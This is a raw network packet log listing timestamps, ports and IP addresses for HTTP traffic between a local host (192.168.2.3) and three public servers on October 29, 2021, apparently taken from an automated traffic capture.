Oct 29, 2021 20:30:02.919070005 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.919091940 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.919112921 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.919135094 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.919157982 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.919178009 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.919188023 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.919194937 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.919219971 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.919245005 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.932193041 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.932224035 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.941418886 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941447973 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941471100 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941493988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941514969 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941538095 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941553116 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941576004 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941581011 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941601992 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941608906 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941626072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941637039 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941649914 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941672087 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941673040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941696882 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941713095 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941720963 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941751003 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941756010 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941781044 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941803932 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941828012 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941845894 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941850901 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941876888 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941885948 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941898108 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941915989 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941927910 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941939116 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941961050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.941968918 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.941977024 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.942007065 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.944328070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.944344997 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.944396019 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.954008102 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954056978 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954113960 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954152107 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954189062 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954215050 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.954226971 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954267979 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954277992 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.954305887 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954344034 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954381943 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954408884 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.954420090 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954443932 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.954457998 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954488039 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.954534054 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.962029934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962088108 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962126017 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962163925 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962174892 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962204933 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962212086 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962243080 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962275028 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962306023 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962316990 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962344885 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962346077 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962385893 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962410927 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962424040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962462902 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962467909 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962502003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962541103 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962582111 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962603092 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962620974 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962644100 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962661028 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962711096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962748051 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962759972 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962788105 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.962791920 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.962821007 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.963624001 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.996387959 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996407986 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996421099 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996432066 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996444941 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996455908 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996464014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996474981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996490955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996504068 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996515989 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996531010 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996542931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996551037 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.996551991 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996568918 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996582985 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996603012 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996613979 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996620893 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.996628046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996639967 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996659040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996670961 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996674061 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.996687889 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996701956 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.996711016 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996726036 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996726036 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.996736050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.996787071 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.997318983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997342110 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997361898 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997373104 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997390985 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997406006 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997426987 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997447968 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997462988 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.997486115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997498035 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.997503042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997513056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.997513056 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.997566938 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.999434948 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.999461889 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.999475002 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.999617100 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.008419991 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008446932 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008464098 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008480072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008491993 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008503914 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008517027 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008528948 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008546114 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008562088 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.008596897 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.008642912 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.013406992 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.013446093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.013475895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.013504982 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.013533115 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.013560057 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.013562918 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.013580084 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.013592005 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.013602972 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.013642073 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.020893097 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.032866955 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.032893896 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.033425093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.033458948 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.033482075 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.033534050 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.033677101 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.034332991 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047343969 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047385931 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047404051 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047422886 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047445059 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047466993 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047606945 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.047621965 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.047646999 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047698975 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047703981 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.047703981 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.047713041 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.048465967 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.051091909 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051134109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051153898 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051173925 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051198959 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051223040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051246881 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051264048 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051290035 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051314116 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051333904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051348925 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051352978 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.051389933 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.051412106 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.051644087 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051677942 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051712990 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051732063 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051755905 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.051776886 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.051860094 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051886082 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051908970 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051927090 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051935911 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.051953077 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051975965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.051978111 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.052001953 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052016973 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052046061 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.052078962 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.052272081 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052318096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052367926 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052372932 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.052386045 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052408934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052433014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052443027 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.052448988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052470922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052485943 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.052493095 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052517891 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052532911 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052541971 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.052566051 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.052623987 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052644968 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052666903 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052683115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.052694082 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.052726030 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.053065062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053092003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053113937 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053127050 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.053133011 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053155899 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053159952 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.053194046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053195000 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.053211927 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053256035 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.053261042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053287983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053311110 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053324938 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.053349972 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.053380013 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.053987980 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.054018974 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.054044962 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.054064989 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.054092884 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.054136038 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.066922903 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.066962957 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.066987991 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.067092896 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.067977905 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.087496042 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.087538004 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.087560892 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.087606907 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.087690115 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.105479956 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.105513096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.105536938 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.105561018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.105591059 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.105616093 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.105633974 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.105667114 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.105734110 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.106156111 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106190920 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106216908 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106241941 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106244087 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.106267929 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106292963 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106311083 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106318951 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.106372118 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.106525898 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106584072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106606960 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106628895 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106652021 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106654882 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.106673956 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106689930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.106709957 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.106735945 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107136011 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107170105 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107193947 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107223034 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107237101 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107244968 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107265949 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107271910 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107278109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107304096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107320070 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107326984 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107352018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107362986 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107368946 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107389927 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107392073 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107414007 CEST	49859	80	192.168.2.3	45.141.84.21
